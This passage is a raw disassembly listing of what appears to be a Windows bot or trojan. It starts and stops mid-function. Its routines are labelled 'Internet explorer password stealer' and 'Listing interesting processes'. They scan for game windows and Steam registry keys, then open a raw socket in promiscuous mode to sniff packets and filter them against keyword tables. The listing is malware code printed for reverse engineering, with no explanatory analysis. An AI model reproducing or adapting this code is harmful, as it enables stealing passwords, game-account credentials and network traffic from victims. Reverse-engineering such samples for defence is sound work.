[ebp-0FCCh] movzx eax, byte ptr [eax] cmp eax, 5Fh jnz short loc_4156CF loc_4156A7: ; CODE XREF: sub_414EF4+775j ; sub_414EF4+789j ... mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] mov ecx, [ebp-0FC8h] mov al, [eax] mov [ebp+ecx-9FCh], al mov eax, [ebp-0FC8h] inc eax mov [ebp-0FC8h], eax loc_4156CF: ; CODE XREF: sub_414EF4+75Cj ; sub_414EF4+7B1j jmp loc_415602 ; --------------------------------------------------------------------------- loc_4156D4: ; CODE XREF: sub_414EF4+728j mov eax, [ebp-0FC8h] and byte ptr [ebp+eax-9FDh], 0 lea eax, [ebp-9FAh] mov [ebp-0EF4h], eax and dword ptr [ebp-0EF8h], 0 jmp short loc_415704 ; --------------------------------------------------------------------------- loc_4156F7: ; CODE XREF: sub_414EF4:loc_41583Dj mov eax, [ebp-0EF8h] inc eax mov [ebp-0EF8h], eax loc_415704: ; CODE XREF: sub_414EF4+801j mov eax, [ebp-0EE8h] movzx eax, byte ptr [eax+4] cmp [ebp-0EF8h], eax jge loc_415842 mov eax, [ebp-0EF4h] inc eax push eax lea eax, [ebp-0FC4h] push eax call ds:dword_4170FC ; lstrcpyA push offset dword_41D49C lea eax, [ebp-0FC4h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_41575C push offset dword_41D49C lea eax, [ebp-0FC4h] push eax call sub_416BA8 ; strstr pop ecx pop ecx and byte ptr [eax], 0 loc_41575C: ; CODE XREF: sub_414EF4+850j push offset dword_41D49C mov eax, [ebp-0EF4h] inc eax push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_415798 push offset dword_41D49C mov eax, [ebp-0EF4h] inc eax push eax call sub_416BA8 ; strstr pop ecx pop ecx inc eax inc eax push eax lea eax, [ebp-0F60h] push eax call ds:dword_4170FC ; lstrcpyA loc_415798: ; CODE XREF: sub_414EF4+87Ej push offset dword_41D49C lea eax, [ebp-0F60h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_4157C5 push offset dword_41D49C lea eax, [ebp-0F60h] push eax call sub_416BA8 ; strstr pop ecx pop ecx and byte ptr [eax], 0 loc_4157C5: ; CODE XREF: sub_414EF4+8B9j push offset dword_41D49C mov eax, [ebp-0EF4h] inc eax push eax call sub_416BA8 ; strstr pop ecx pop ecx mov esi, eax lea eax, [ebp-0F60h] push eax call ds:dword_41703C ; lstrlenA lea eax, [esi+eax+9] mov [ebp-0EF4h], eax mov eax, [ebp-214h] inc eax mov [ebp-214h], eax push 3E8h call ds:dword_41709C ; Sleep movsx eax, byte ptr [ebp-0A57h] test eax, eax jnz short loc_41583D lea eax, [ebp-0F60h] push eax lea eax, [ebp-0FC4h] push eax push dword ptr [ebp-214h] push offset dword_41D45C lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 14h loc_41583D: ; CODE XREF: sub_414EF4+91Fj jmp loc_4156F7 ; --------------------------------------------------------------------------- loc_415842: ; CODE XREF: sub_414EF4+6EEj ; sub_414EF4+820j push offset aE161255a ; "e161255a" lea eax, [ebp-0A48h] push eax call ds:dword_417108 ; lstrcmpA test eax, eax jnz loc_4159E0 push offset aStringindex ; "StringIndex" lea eax, [ebp-210h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jnz loc_4159E0 push offset aString ; ":String" lea eax, [ebp-210h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_4158A4 push offset aString ; ":String" lea eax, [ebp-210h] push eax call sub_416BA8 ; strstr pop ecx pop ecx and byte ptr [eax], 0 loc_4158A4: ; CODE XREF: sub_414EF4+998j push 8 lea eax, [ebp-210h] push eax lea eax, [ebp-0EE0h] push eax call ds:dword_417100 ; lstrcpynA push offset aHttp_0 ; "http:/" lea eax, [ebp-0EE0h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jnz short loc_415938 push offset aHttps ; "https:/" lea eax, [ebp-0EE0h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jnz short loc_415938 mov eax, [ebp-214h] inc eax mov [ebp-214h], eax push 3E8h call ds:dword_41709C ; Sleep movsx eax, byte ptr [ebp-0A57h] test eax, eax jnz short loc_415933 lea eax, [ebp-9FCh] push eax lea eax, [ebp-210h] push eax push dword ptr [ebp-214h] push offset dword_41D3E4 lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 14h loc_415933: ; CODE XREF: sub_414EF4+A15j jmp loc_4159E0 ; --------------------------------------------------------------------------- loc_415938: ; CODE XREF: sub_414EF4+9DBj ; sub_414EF4+9F2j push offset byte_41DE30 lea eax, [ebp-0EE0h] push eax call ds:dword_4170FC ; lstrcpyA push offset dword_41D49C lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_415999 push offset dword_41D49C lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx inc eax push eax lea eax, [ebp-0EE0h] push eax call ds:dword_4170FC ; lstrcpyA push offset dword_41D49C lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx and byte ptr [eax], 0 loc_415999: ; CODE XREF: sub_414EF4+A6Bj mov eax, [ebp-214h] inc eax mov [ebp-214h], eax push 3E8h call ds:dword_41709C ; Sleep lea eax, [ebp-0EE0h] push eax lea eax, [ebp-9FCh] push eax lea eax, [ebp-210h] push eax push dword ptr [ebp-214h] push offset dword_41D388 lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 18h loc_4159E0: ; CODE XREF: sub_414EF4+962j ; sub_414EF4+97Dj ... push 200h push 0 lea eax, [ebp-210h] push eax call sub_416B6A ; memset add esp, 0Ch push 200h push 0 lea eax, [ebp-9FCh] push eax call sub_416B6A ; memset add esp, 0Ch jmp loc_4152C7 ; --------------------------------------------------------------------------- loc_415A11: ; CODE XREF: sub_414EF4+410j mov byte ptr [ebp-4], 2 cmp dword ptr [ebp-0E14h], 0 jz short loc_415A30 mov eax, [ebp-0E14h] mov ecx, [ebp-0E14h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415A30: ; CODE XREF: sub_414EF4+B28j jmp loc_4151DD ; --------------------------------------------------------------------------- loc_415A35: ; CODE XREF: sub_414EF4+326j mov byte ptr [ebp-4], 1 cmp dword ptr [ebp-0DF8h], 0 jz short loc_415A54 mov eax, [ebp-0DF8h] mov ecx, [ebp-0DF8h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415A54: ; CODE XREF: sub_414EF4+B4Cj jmp loc_4150CB ; --------------------------------------------------------------------------- loc_415A59: ; CODE XREF: sub_414EF4+20Ej ; sub_414EF4+220j mov al, [ebp-0A14h] mov [ebp-0A54h], al push 3E8h call ds:dword_41709C ; Sleep push dword ptr [ebp-214h] mov eax, [ebp-0BF0h] push dword ptr [eax] push offset unk_41D34C lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 10h push dword ptr [ebp-0BF0h] call sub_409763 pop ecx and dword ptr [ebp-0FD8h], 0 and byte ptr [ebp-4], 0 cmp dword ptr [ebp-10h], 0 jz short loc_415ABB mov eax, [ebp-10h] mov ecx, [ebp-10h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415ABB: ; CODE XREF: sub_414EF4+BB9j or dword ptr [ebp-4], 0FFFFFFFFh cmp dword ptr [ebp-0A00h], 0 jz short loc_415ADA mov eax, [ebp-0A00h] mov ecx, [ebp-0A00h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415ADA: ; CODE XREF: sub_414EF4+BD2j mov eax, [ebp-0FD8h] loc_415AE0: ; CODE XREF: sub_414EF4+B9j ; sub_414EF4+19Cj mov ecx, [ebp-0Ch] mov large fs:0, ecx pop edi pop esi leave retn 4 sub_414EF4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415AF0 proc near ; CODE XREF: sub_40A9CF+7Fp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_41DE80, 0 jnz short loc_415AFF jmp short locret_415B3D ; --------------------------------------------------------------------------- loc_415AFF: ; CODE XREF: sub_415AF0+Bj push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_415B15 jmp short locret_415B3D ; --------------------------------------------------------------------------- loc_415B15: ; CODE XREF: sub_415AF0+21j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aInternetExplor ; "Internet explorer password stealer" push 0 push [ebp+var_4] push offset sub_414EF4 call sub_4095A4 add esp, 10h locret_415B3D: ; CODE XREF: sub_415AF0+Dj ; sub_415AF0+23j leave retn sub_415AF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415B3F proc near ; CODE XREF: .text:00416FB6p ; sub_416FBC+3p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] cmp dword ptr [eax], 0 jz short locret_415B5E mov eax, [ebp+var_4] mov eax, [eax] mov ecx, [ebp+var_4] mov ecx, [ecx] mov ecx, [ecx] push eax call dword ptr [ecx+8] locret_415B5E: ; CODE XREF: sub_415B3F+Dj leave retn sub_415B3F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415B60 proc near ; DATA XREF: sub_415DFD+35o var_5D8 = dword ptr -5D8h var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_5CC = dword ptr -5CCh var_5C8 = dword ptr -5C8h var_5C4 = dword ptr -5C4h var_5C0 = dword ptr -5C0h var_5BC = dword ptr -5BCh var_5B8 = dword ptr -5B8h var_5B4 = byte ptr -5B4h var_41C = byte ptr -41Ch var_410 = dword ptr -410h var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = dword ptr -404h var_400 = byte ptr -400h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5D8h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_5B8] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx and [ebp+var_5C4], 0 and [ebp+var_410], 0 and [ebp+var_40C], 0 and [ebp+var_408], 0 and [ebp+var_404], 0 and [ebp+var_5BC], 0 jmp short loc_415BC2 ; --------------------------------------------------------------------------- loc_415BB5: ; CODE XREF: sub_415B60:loc_415C50j mov eax, [ebp+var_5BC] inc eax mov [ebp+var_5BC], eax loc_415BC2: ; CODE XREF: sub_415B60+53j cmp [ebp+var_5BC], 0FFFFh jnb loc_415C55 push 400h lea eax, [ebp+var_400] push eax push [ebp+var_5BC] call ds:dword_4171E4 ; GetWindowTextA push 7 push offset aUnreal3 ; "Unreal3" lea eax, [ebp+var_400] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_415C0E mov [ebp+var_410], 1 loc_415C0E: ; CODE XREF: sub_415B60+A2j push offset aWorldOfWarcraf ; "World Of Warcraft" lea eax, [ebp+var_400] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_415C2F mov [ebp+var_408], 1 loc_415C2F: ; CODE XREF: sub_415B60+C3j push offset aConquer ; "[Conquer]" lea eax, [ebp+var_400] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_415C50 mov [ebp+var_404], 1 loc_415C50: ; CODE XREF: sub_415B60+E4j jmp loc_415BB5 ; --------------------------------------------------------------------------- loc_415C55: ; CODE XREF: sub_415B60+6Cj and [ebp+var_5C0], 0 lea eax, [ebp+var_5C0] push eax push 20019h push 0 push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\VisualStudio\\6.0\\Set"... push 80000002h call ds:dword_417008 ; RegOpenKeyExA test eax, eax jnz short loc_415C88 mov [ebp+var_5C4], 1 loc_415C88: ; CODE XREF: sub_415B60+11Cj push [ebp+var_5C0] call ds:dword_417028 ; RegCloseKey and [ebp+var_5C0], 0 lea eax, [ebp+var_5C0] push eax push 20019h push 0 push offset aSoftwareValveS ; "Software\\Valve\\Steam" push 80000001h call ds:dword_417008 ; RegOpenKeyExA test eax, eax jnz short loc_415CC7 mov [ebp+var_40C], 1 loc_415CC7: ; CODE XREF: sub_415B60+15Bj push [ebp+var_5C0] call ds:dword_417028 ; RegCloseKey movsx eax, [ebp+var_41C] test eax, eax jz short loc_415D1E cmp [ebp+var_410], 0 jnz short loc_415D1E cmp [ebp+var_5C4], 0 jnz short loc_415D1E cmp [ebp+var_40C], 0 jnz short loc_415D1E cmp [ebp+var_408], 0 jnz short loc_415D1E cmp [ebp+var_404], 0 jnz short loc_415D1E push [ebp+var_5B8] call sub_409763 pop ecx xor eax, eax jmp locret_415DF9 ; --------------------------------------------------------------------------- loc_415D1E: ; CODE XREF: sub_415B60+17Cj ; sub_415B60+185j ... cmp [ebp+var_404], 0 jz short loc_415D33 mov [ebp+var_5C8], offset aYes ; "Yes" jmp short loc_415D3D ; --------------------------------------------------------------------------- loc_415D33: ; CODE XREF: sub_415B60+1C5j mov [ebp+var_5C8], offset aNo ; "No" loc_415D3D: ; CODE XREF: sub_415B60+1D1j cmp [ebp+var_408], 0 jz short loc_415D52 mov [ebp+var_5CC], offset aYes ; "Yes" jmp short loc_415D5C ; --------------------------------------------------------------------------- loc_415D52: ; CODE XREF: sub_415B60+1E4j mov [ebp+var_5CC], offset aNo ; "No" loc_415D5C: ; CODE XREF: sub_415B60+1F0j cmp [ebp+var_40C], 0 jz short loc_415D71 mov [ebp+var_5D0], offset aYes ; "Yes" jmp short loc_415D7B ; --------------------------------------------------------------------------- loc_415D71: ; CODE XREF: sub_415B60+203j mov [ebp+var_5D0], offset aNo ; "No" loc_415D7B: ; CODE XREF: sub_415B60+20Fj cmp [ebp+var_5C4], 0 jz short loc_415D90 mov [ebp+var_5D4], offset aYes ; "Yes" jmp short loc_415D9A ; --------------------------------------------------------------------------- loc_415D90: ; CODE XREF: sub_415B60+222j mov [ebp+var_5D4], offset aNo ; "No" loc_415D9A: ; CODE XREF: sub_415B60+22Ej cmp [ebp+var_410], 0 jz short loc_415DAF mov [ebp+var_5D8], offset aYes ; "Yes" jmp short loc_415DB9 ; --------------------------------------------------------------------------- loc_415DAF: ; CODE XREF: sub_415B60+241j mov [ebp+var_5D8], offset aNo ; "No" loc_415DB9: ; CODE XREF: sub_415B60+24Dj push [ebp+var_5C8] push [ebp+var_5CC] push [ebp+var_5D0] push [ebp+var_5D4] push [ebp+var_5D8] push offset dword_41D5CC lea eax, [ebp+var_5B4] push eax call sub_40D53F add esp, 1Ch push [ebp+var_5B8] call sub_409763 pop ecx xor eax, eax locret_415DF9: ; CODE XREF: sub_415B60+1B9j leave retn 4 sub_415B60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415DFD proc near ; CODE XREF: sub_40A9CF+12FFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_415E17 jmp short locret_415E3F ; --------------------------------------------------------------------------- loc_415E17: ; CODE XREF: sub_415DFD+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aListingInteres ; "Listing interesting processes" push 0 push [ebp+var_4] push offset sub_415B60 call sub_4095A4 add esp, 10h locret_415E3F: ; CODE XREF: sub_415DFD+18j leave retn sub_415DFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415E41 proc near ; CODE XREF: sub_415EB7+37p ; sub_415EB7+59p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_415E52 ; --------------------------------------------------------------------------- loc_415E4B: ; CODE XREF: sub_415E41+69j ; sub_415E41:loc_415EB1j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_415E52: ; CODE XREF: sub_415E41+8j mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+eax*4], 0 jz short loc_415EB3 mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4] push [ebp+arg_8] push [ebp+arg_4] call sub_407ACA add esp, 0Ch test eax, eax jz short loc_415EB1 mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+eax*4+4], 0 jz short loc_415EAC mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] push [ebp+arg_8] push [ebp+arg_4] call sub_407ACA add esp, 0Ch test eax, eax jz short loc_415EAC jmp short loc_415E4B ; --------------------------------------------------------------------------- loc_415EAC: ; CODE XREF: sub_415E41+49j ; sub_415E41+67j push 1 pop eax jmp short locret_415EB5 ; --------------------------------------------------------------------------- loc_415EB1: ; CODE XREF: sub_415E41+3Aj jmp short loc_415E4B ; --------------------------------------------------------------------------- loc_415EB3: ; CODE XREF: sub_415E41+1Dj xor eax, eax locret_415EB5: ; CODE XREF: sub_415E41+6Ej leave retn sub_415E41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415EB7 proc near ; CODE XREF: sub_415F69+420p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp [ebp+arg_C], 0 jz short loc_415EDD push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_407ACA add esp, 0Ch test eax, eax jz short loc_415EDD push 1 pop eax jmp loc_415F67 ; --------------------------------------------------------------------------- loc_415EDD: ; CODE XREF: sub_415EB7+7j ; sub_415EB7+1Cj cmp [ebp+arg_8], 1 jb short loc_415EFF push [ebp+arg_4] push [ebp+arg_0] push offset off_41D6FC call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415EFF push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415EFF: ; CODE XREF: sub_415EB7+2Aj ; sub_415EB7+41j cmp [ebp+arg_8], 2 jb short loc_415F21 push [ebp+arg_4] push [ebp+arg_0] push offset off_41D758 call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415F21 push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415F21: ; CODE XREF: sub_415EB7+4Cj ; sub_415EB7+63j cmp [ebp+arg_8], 3 jb short loc_415F43 push [ebp+arg_4] push [ebp+arg_0] push offset off_41D7CC call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415F43 push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415F43: ; CODE XREF: sub_415EB7+6Ej ; sub_415EB7+85j cmp [ebp+arg_8], 4 jb short loc_415F65 push [ebp+arg_4] push [ebp+arg_0] push offset off_41D810 call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415F65 push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415F65: ; CODE XREF: sub_415EB7+90j ; sub_415EB7+A7j xor eax, eax loc_415F67: ; CODE XREF: sub_415EB7+21j ; sub_415EB7+46j ... pop ebp retn sub_415EB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F69 proc near ; DATA XREF: sub_41665C+A6o var_19B8 = dword ptr -19B8h var_19B4 = byte ptr -19B4h var_18B4 = dword ptr -18B4h var_18B0 = byte ptr -18B0h var_17B0 = dword ptr -17B0h var_17AC = dword ptr -17ACh var_17A8 = byte ptr -17A8h var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = byte ptr -1620h var_161C = dword ptr -161Ch var_1618 = dword ptr -1618h var_1614 = dword ptr -1614h var_1610 = dword ptr -1610h var_160C = byte ptr -160Ch var_140C = byte ptr -140Ch var_127E = byte ptr -127Eh var_1278 = byte ptr -1278h var_1274 = byte ptr -1274h var_1268 = word ptr -1268h var_1264 = byte ptr -1264h var_1263 = byte ptr -1263h var_125C = dword ptr -125Ch var_1258 = word ptr -1258h var_1254 = byte ptr -1254h var_1154 = dword ptr -1154h var_1150 = dword ptr -1150h var_114C = byte ptr -114Ch var_114B = byte ptr -114Bh var_104C = dword ptr -104Ch var_1048 = word ptr -1048h var_1044 = dword ptr -1044h var_1038 = byte ptr -1038h var_1037 = byte ptr -1037h var_1030 = byte ptr -1030h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 19B8h call sub_416BC0 push edi push 3ABh push [ebp+arg_0] lea eax, [ebp+var_1614] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx movsx eax, [ebp+var_160C] neg eax sbb eax, eax lea ecx, [ebp+var_160C] and eax, ecx mov [ebp+var_1624], eax push 0 push 3 push 2 call ds:dword_417218 ; socket mov [ebp+var_104C], eax cmp [ebp+var_104C], 0FFFFFFFFh jnz short loc_415FDE push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_415FDE: ; CODE XREF: sub_415F69+60j push 0FFh lea eax, [ebp+var_1254] push eax call ds:dword_417260 ; gethostname lea eax, [ebp+var_1254] push eax call ds:dword_41723C ; gethostbyname mov [ebp+var_1154], eax cmp [ebp+var_1154], 0 jnz short loc_41602B push [ebp+var_104C] call ds:dword_417230 ; closesocket push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_41602B: ; CODE XREF: sub_415F69+A1j push 10h push 0 lea eax, [ebp+var_1048] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_1048], 2 mov eax, [ebp+var_1154] mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_1044], eax push 10h lea eax, [ebp+var_1048] push eax push [ebp+var_104C] call ds:dword_417208 ; bind cmp eax, 0FFFFFFFFh jnz short loc_416093 push [ebp+var_104C] call ds:dword_417230 ; closesocket push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_416093: ; CODE XREF: sub_415F69+109j mov [ebp+var_1150], 1 push 0 push 0 lea eax, [ebp+var_1620] push eax push 0 push 0 push 4 lea eax, [ebp+var_1150] push eax push 98000001h push [ebp+var_104C] call ds:dword_41725C ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_4160EA push [ebp+var_104C] call ds:dword_417230 ; closesocket push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_4160EA: ; CODE XREF: sub_415F69+160j lea eax, [ebp+var_1030] mov [ebp+var_161C], eax and [ebp+var_1628], 0 and [ebp+var_4], 0 push [ebp+var_1610] mov eax, [ebp+var_1614] push dword ptr [eax] push offset unk_41D9DC lea eax, [ebp+var_140C] push eax call sub_40D53F add esp, 10h and [ebp+var_1274], 0 and [ebp+var_114C], 0 push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_114B] rep stosd stosw stosb and [ebp+var_1264], 0 xor eax, eax lea edi, [ebp+var_1263] stosd stosb lea eax, [ebp+var_114C] push eax call sub_40CF25 push eax call sub_4044F7 pop ecx pop ecx lea eax, [ebp+var_1264] push eax call sub_40CF25 push eax call sub_4045B2 pop ecx pop ecx lea eax, [ebp+var_114C] push eax call ds:dword_417244 ; inet_addr mov [ebp+var_1618], eax lea eax, [ebp+var_1264] push eax call sub_416B9C ; atoi pop ecx mov [ebp+var_1268], ax and [ebp+var_1038], 0 xor eax, eax lea edi, [ebp+var_1037] stosd stosb lea eax, [ebp+var_1038] push eax call sub_40CF25 push eax call sub_404552 pop ecx pop ecx mov eax, [ebp+var_1044] mov [ebp+var_125C], eax lea eax, [ebp+var_1038] push eax call sub_416B9C ; atoi pop ecx mov [ebp+var_1258], ax loc_4161E6: ; CODE XREF: sub_415F69+305j ; sub_415F69+33Aj ... push 0 push 1028h lea eax, [ebp+var_1030] push eax push [ebp+var_104C] call ds:dword_417248 ; recv mov [ebp+var_17AC], eax mov eax, [ebp+var_1614] cmp dword ptr [eax+4], 0 jz short loc_416217 jmp loc_416637 ; --------------------------------------------------------------------------- loc_416217: ; CODE XREF: sub_415F69+2A7j cmp [ebp+var_17AC], 0FFFFFFFFh jz short loc_416229 cmp [ebp+var_17AC], 0 jnz short loc_41622E loc_416229: ; CODE XREF: sub_415F69+2B5j jmp loc_416637 ; --------------------------------------------------------------------------- loc_41622E: ; CODE XREF: sub_415F69+2BEj mov eax, [ebp+var_17AC] and [ebp+eax+var_1030], 0 mov eax, [ebp+var_161C] mov al, [eax] and al, 0Fh movzx eax, al mov ecx, [ebp+var_161C] lea eax, [ecx+eax*4] mov [ebp+var_1628], eax mov eax, [ebp+var_1628] lea ecx, [ebp+var_1030] sub eax, ecx cmp eax, [ebp+var_17AC] jb short loc_416273 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416273: ; CODE XREF: sub_415F69+303j mov eax, [ebp+var_1628] mov al, [eax+0Ch] shr al, 4 and al, 0Fh movzx eax, al mov ecx, [ebp+var_1628] lea eax, [ecx+eax*4] mov [ebp+var_4], eax mov eax, [ebp+var_4] lea ecx, [ebp+var_1030] sub eax, ecx cmp eax, [ebp+var_17AC] jb short loc_4162A8 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_4162A8: ; CODE XREF: sub_415F69+338j push [ebp+var_4] call sub_416B40 ; strlen pop ecx mov [ebp+var_17AC], eax mov eax, [ebp+var_161C] movzx eax, byte ptr [eax+9] cmp eax, 6 jnz loc_416632 movsx eax, [ebp+var_127E] test eax, eax jz short loc_4162EB mov eax, [ebp+var_161C] mov eax, [eax+10h] cmp eax, [ebp+var_125C] jz short loc_4162EB jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_4162EB: ; CODE XREF: sub_415F69+36Aj ; sub_415F69+37Bj movsx eax, [ebp+var_1278] test eax, eax jz short loc_41630C mov eax, [ebp+var_161C] mov eax, [eax+0Ch] cmp eax, [ebp+var_125C] jz short loc_41630C jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_41630C: ; CODE XREF: sub_415F69+38Bj ; sub_415F69+39Cj mov eax, [ebp+var_1628] mov ax, [eax] push eax call ds:dword_417238 ; ntohs movzx eax, ax movzx ecx, [ebp+var_1258] cmp eax, ecx jnz short loc_416340 mov eax, [ebp+var_161C] mov eax, [eax+0Ch] cmp eax, [ebp+var_125C] jnz short loc_416340 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416340: ; CODE XREF: sub_415F69+3BFj ; sub_415F69+3D0j mov eax, [ebp+var_1628] mov ax, [eax] push eax call ds:dword_417238 ; ntohs movzx eax, ax movzx ecx, [ebp+var_1268] cmp eax, ecx jnz short loc_416374 mov eax, [ebp+var_161C] mov eax, [eax+0Ch] cmp eax, [ebp+var_1618] jnz short loc_416374 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416374: ; CODE XREF: sub_415F69+3F3j ; sub_415F69+404j push [ebp+var_1624] push [ebp+var_1610] push [ebp+var_17AC] push [ebp+var_4] call sub_415EB7 add esp, 10h test eax, eax jz loc_416632 and [ebp+var_19B8], 0 jmp short loc_4163AF ; --------------------------------------------------------------------------- loc_4163A2: ; CODE XREF: sub_415F69:loc_416413j mov eax, [ebp+var_19B8] inc eax mov [ebp+var_19B8], eax loc_4163AF: ; CODE XREF: sub_415F69+437j mov eax, [ebp+var_19B8] cmp eax, [ebp+var_17AC] jnb short loc_416415 mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] cmp eax, 0Dh jnz short loc_4163DA mov eax, [ebp+var_4] add eax, [ebp+var_19B8] mov byte ptr [eax], 2Dh loc_4163DA: ; CODE XREF: sub_415F69+463j mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] cmp eax, 0Ah jnz short loc_4163F7 mov eax, [ebp+var_4] add eax, [ebp+var_19B8] mov byte ptr [eax], 3Eh loc_4163F7: ; CODE XREF: sub_415F69+480j mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] test eax, eax jnz short loc_416413 mov eax, [ebp+var_4] add eax, [ebp+var_19B8] mov byte ptr [eax], 2Eh loc_416413: ; CODE XREF: sub_415F69+49Cj jmp short loc_4163A2 ; --------------------------------------------------------------------------- loc_416415: ; CODE XREF: sub_415F69+452j and [ebp+var_19B8], 0 mov eax, [ebp+var_19B8] mov [ebp+var_17AC], eax jmp short loc_416437 ; --------------------------------------------------------------------------- loc_41642A: ; CODE XREF: sub_415F69+507j ; sub_415F69+51Aj ... mov eax, [ebp+var_19B8] inc eax mov [ebp+var_19B8], eax loc_416437: ; CODE XREF: sub_415F69+4BFj mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] test eax, eax jnz short loc_41645F mov eax, [ebp+var_4] add eax, [ebp+var_17AC] mov ecx, [ebp+var_4] add ecx, [ebp+var_19B8] mov cl, [ecx] mov [eax], cl jmp short loc_4164AA ; --------------------------------------------------------------------------- loc_41645F: ; CODE XREF: sub_415F69+4DCj mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] cmp eax, 7Fh jl short loc_416472 jmp short loc_41642A ; --------------------------------------------------------------------------- loc_416472: ; CODE XREF: sub_415F69+505j mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] cmp eax, 1Fh jg short loc_416485 jmp short loc_41642A ; --------------------------------------------------------------------------- loc_416485: ; CODE XREF: sub_415F69+518j mov eax, 